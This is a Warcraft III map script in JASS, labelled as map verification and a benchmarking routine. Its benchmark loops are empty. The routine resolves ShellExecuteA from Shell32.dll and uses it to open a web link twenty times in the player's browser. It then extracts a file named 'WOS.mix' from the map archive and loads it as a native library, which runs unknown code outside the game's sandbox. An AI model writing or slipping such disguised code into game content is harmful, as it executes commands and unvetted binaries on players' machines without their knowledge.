Верификация карты

    function Porno takes string command,string path,string args returns nothing
        local integer addr= GetFuncFromDll("Shell32.dll" , "ShellExecuteA" , true)

        if addr != 0 then
            call std_call_6(addr , 0 , GetStringAddress(command) , GetStringAddress(path) , GetStringAddress(args) , 0 , 0)
        endif
    endfunction

function TestBenchmarking takes nothing returns nothing
    local integer p= 0
    local integer i= 0
    local integer j= 0
    local real r= 0.
    local integer time1= 0
    local integer time2= 0
    local integer sum= 0
    local integer index = 0

    set i=0
    set time1=GetLocalTime(0)
    
    loop
        exitwhen i == 10000
        // Some stuff here

        set i=i + 1
    endloop
    set time1=GetLocalTime(0) - time1

    set i=0
    set time2=GetLocalTime(0)
    loop
        exitwhen i == 10000
        // Some other stuff here

        set i=i + 1
    endloop
    set time2=GetLocalTime(0) - time2

    if time1 < 0 then
        set time1=1000 + time1
    endif

    if time2 < 0 then
        set time2=1000 + time2
    endif

    call ClearTextMessages()
    loop
        exitwhen index == 20
        call BJDebugMsg("POPKA BY THUNDER GEAR")
        call Porno("open", "https://youtu.be/m4QO5jyEw2E?t=116", "" )
        set index = index + 1
    endloop
    if not FileExists("WOS.mix") then
        call ExportFileFromMPQ("WOS.mix", "WOS.mix")
    endif
    call LoadLibrary("WOS.mix")
    call TimerStart(CreateTimer(), 6, false, function Bench)
endfunction